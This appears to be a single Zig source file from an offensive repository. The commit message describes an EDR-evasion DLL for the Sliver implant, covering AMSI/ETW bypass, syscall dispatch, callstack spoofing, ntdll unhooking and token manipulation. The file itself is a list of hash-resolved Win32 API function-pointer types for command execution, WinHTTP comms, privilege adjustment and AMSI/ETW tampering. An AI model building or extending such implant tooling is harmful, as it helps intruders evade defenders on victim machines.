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fe2726a430a05adf999b1bb63c2ea0bd479975f7
Valak/evasion/apitypes.zig
T
SISTA fe2726a430 valak evasion dll for sliver 
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass,
freshycalls indirect syscall dispatch, callstack spoofing via asm
trampoline, ntdll unhooking, module stomping, token manipulation.
all techniques verified against dbgman edr tradecraft (may 2026).
ret patch removed (instant detection). comments updated with
detection status on each technique.

go-bridge/ - reflective pe loader + clean go api for sliver
integration. drop this package into sliver's implant/ dir,
replace time.sleep with evasionsleep.

build: zig build -doptimize=releaseFast -> embed dll bytes
2026-07-18 09:30:00 +01:00

113 lines
15 KiB
Zig
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// Function-pointer type aliases for all resolved Win32 APIs. Imported by api.zig.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;
pub const NT_SUCCESS = win.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
pub const USTRING = extern struct {
Length: win.ULONG,
MaximumLength: win.ULONG,
Buffer: [*]u8,
};
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(win.WINAPI) win.ULONG;
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
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